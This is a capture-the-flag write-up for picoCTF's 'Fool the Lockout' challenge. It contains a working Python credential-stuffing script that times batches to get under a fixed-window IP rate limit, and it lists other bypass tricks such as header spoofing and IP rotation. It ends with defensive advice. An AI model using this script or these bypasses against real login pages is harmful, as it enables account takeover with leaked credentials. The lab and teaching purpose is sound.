Fool the Lockout picoCTF 2026 Solution

Published: March 20, 2026

Description

Your friend is building a simple website with a login page. To stop brute forcing and credential stuffing, they've added an IP-based rate limit. Can you bypass the rate limit, log in, and capture the flag?

Launch the challenge instance and open the login page.

You'll need a wordlist of credentials - a credential dump is provided with the challenge.

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1
    Understand the lockout mechanism
    Observation
    I noticed the challenge description specifically called out an IP-based rate limit, which meant the first step was to understand exactly how many attempts the limiter allowed and how long each window lasted so I could plan a bypass strategy rather than stumbling into lockouts mid-attack.
    The source code reveals the exact constants: 10 attempts per 30-second window. Use these known values directly to build a proactive script rather than reacting to error responses.
    Learn more

    Rate limiting is a defensive measure that restricts how many requests a client can make within a time window. IP-based rate limiting tracks the client's source IP address and counts attempts; once a threshold is exceeded, all further requests from that IP are rejected until the window resets. This defends against automated brute-force and credential stuffing attacks (where attackers replay username/password pairs leaked from other data breaches).

    A fixed window rate limiter resets its counter at the start of each time period (e.g., every 30 seconds). This is the weakest form: an attacker who detects the reset time can make a full burst of attempts at the start of every window. More robust approaches include sliding window limiters (which track a rolling time range) and token bucket or leaky bucket algorithms that smooth out burst traffic.

    Bypasses beyond sleeping through the window include: rotating through multiple source IP addresses (proxy pools, Tor), spoofing the X-Forwarded-For or X-Real-IP headers if the server trusts them for rate-limiting purposes, using different HTTP clients with different fingerprints, or exploiting race conditions in the counter logic. This challenge uses the simplest bypass: wait out the window.

  2. Step 2
    Credential stuff with automatic timeout handling
    Observation
    I noticed the source code revealed constants of exactly 10 attempts per 30-second window, which suggested batching all credentials in groups of 10 and sleeping the remaining window time after each batch to stay under the limit without triggering a lockout.
    Use split(';', 1) to parse the semicolon-delimited credential dump. Read all credentials into a list, send them in batches of exactly 10, time how long each batch takes, then sleep for (30 - elapsed) seconds before the next batch. This avoids hitting the rate limit at all rather than reactively recovering from it. Match success on a case-insensitive substring against 'picoctf' or 'flag'. Your instance is assigned one random pair from the dump (it was 'emely / tyrant' in one run and 'aaron / ...' in another), so let the loop discover it rather than hardcoding a guess - and expect it to land near the end of the file.
    python
    python3 << 'EOF'
    import requests
    import time
    
    URL = "http://<HOST>:<PORT_FROM_INSTANCE>/login"
    BATCH_SIZE = 10
    WINDOW = 30  # exact window from source code
    
    # split(";", 1) handles the semicolon-delimited format of the provided dump.
    credentials = [line.strip().split(";", 1) for line in open("creds.txt") if ";" in line]
    
    def is_success(text):
        body = text.lower()
        return "picoctf" in body or "flag" in body
    
    found = False
    for i in range(0, len(credentials), BATCH_SIZE):
        batch = credentials[i:i + BATCH_SIZE]
        start = time.time()
        for username, password in batch:
            r = requests.post(URL, data={"username": username, "password": password}, timeout=10)
            if is_success(r.text):
                print(f"Success! {username};{password}")
                print(r.text)
                found = True
                break
            print(f"Tried {username};{password} - failed")
        if found:
            break
        elapsed = time.time() - start
        wait = WINDOW - elapsed
        if wait > 0:
            print(f"Batch done in {elapsed:.1f}s - sleeping {wait:.1f}s...")
            time.sleep(wait)
    EOF
    What didn't work first

    Tried: Using Hydra with --wait-retry or a rate-limit-unaware tool straight through all credentials without batching.

    Hydra sends requests in rapid parallel threads and does not natively sleep between fixed windows. After 10 attempts the server blocks the IP for the rest of the 30-second window, so Hydra either stalls on locked responses or silently marks every remaining pair as failed. The correct approach times each batch of exactly 10 and sleeps the remainder of the 30-second window before sending the next batch.

    Tried: Spoofing the X-Forwarded-For header on every request to appear as a different IP and avoid sleeping between batches.

    This bypass only works when the server trusts that header for rate-limiting. The source code in this challenge keys its counter on the real socket IP, not on X-Forwarded-For, so rotating that header has no effect and the lockout still triggers after 10 attempts from the same connection. Window-based sleeping is the correct bypass here.

    Learn more

    Credential stuffing differs from brute-force attacks: instead of guessing passwords randomly, attackers use real username/password pairs obtained from previous data breaches. Because many users reuse passwords across sites, stuffing attacks are highly effective against any service that doesn't rate-limit or require multi-factor authentication. The credential dump in this challenge simulates a real leaked database.

    The Python requests library makes HTTP automation straightforward. Posting to a login form with requests.post(url, data=dict) mimics what a browser sends as an application/x-www-form-urlencoded body. The response text can be checked for keywords like the flag, "Welcome", or "Incorrect" to determine success. Maintaining a requests.Session object preserves cookies across requests, which is important for sites that use session-based authentication.

    In real engagements, tools like Hydra, Burp Suite Intruder, and ffuf handle credential stuffing and brute-force attacks with built-in rate-limit handling, proxy support, and multi-threading. Writing a custom script (as here) helps understand exactly what is being sent and how the server responds, which is valuable when the off-the-shelf tools don't handle the server's specific response format correctly.

  3. Step 3
    Read the flag
    Observation
    I noticed the script matched on 'picoctf' or 'flag' in the response body and printed the full page text on success, which meant once the correct credential pair was found the flag would appear directly in that output without any further extraction step.
    The winning pair is whichever credential from the provided dump your instance was randomly assigned, so it differs per instance. Once that pair logs in, the flag is displayed on the page.
    Learn more

    The fact that valid credentials appear in a credential dump highlights a core risk of password reuse. A user who uses the same password on a breached site and on a secure site effectively gives attackers access to both. Defences against credential stuffing at the service level include: rate limiting (as here), CAPTCHA challenges, anomaly detection on login patterns, and requiring multi-factor authentication for all accounts.

    For users, the defence is simple: use a unique, randomly generated password for every site (managed by a password manager) and enable MFA wherever possible. Even if a credential dump is leaked, unique passwords mean the attacker has access to only one service, not all of them. Services like Have I Been Pwned (haveibeenpwned.com) let users check whether their email appears in known breaches.

    See Web Challenges and Real-World Bug Patterns for adjacent auth bugs.

Interactive tools
  • JWT DecoderDecode JSON Web Tokens and inspect the header, payload, and signature. Useful for web exploitation challenges.
  • Flask Session DecoderDecode Flask / itsdangerous session cookies. Splits payload, decompresses zlib, parses JSON, and verifies the HMAC signature when given the secret.

Flag

Reveal flag

picoCTF{r4t3_l1m1t_byp4ss3d_...}

The source code specifies exactly 10 attempts per 30-second window. Send credentials in batches of 10, time each batch, and sleep the remainder of 30 seconds before the next batch. The valid pair is assigned randomly per instance from the provided dump (often near the end of the file), so let the loop find it rather than hardcoding.

Key takeaway

IP-based rate limiting on a fixed window is trivially bypassed by timing requests to stay under the threshold or by waiting for the window to reset. Credential stuffing amplifies this weakness: attackers replay real username and password pairs from prior data breaches, so most attempts have a far higher hit rate than random guessing. Stronger defenses key the limit to the account rather than the source IP, use sliding-window or token-bucket algorithms, and require multi-factor authentication so that even a known-valid credential is not enough to gain access.

How to prevent this

Rate limiting per IP and on a fixed window is the bare minimum, and it is easy to bypass. Layer the defenses.

  • Limit per account, not just per IP. An attacker rotates IPs cheaply; an account is a fixed identifier. After 10 failed attempts, throw a 24-hour lockout that requires email-confirmed reset.
  • Use a sliding-window or token-bucket limiter (Redis, express-rate-limit, Vercel BotID). Fixed windows let an attacker burst at every reset boundary.
  • Check incoming credentials against breach lists (haveibeenpwned Pwned Passwords API uses k-anonymity). Reject known-leaked combinations before the password ever hits your hash function. Pair with mandatory MFA on accounts that hold real value.

Related reading

Want more picoCTF 2026 writeups?

Useful tools for Web Exploitation

What to try next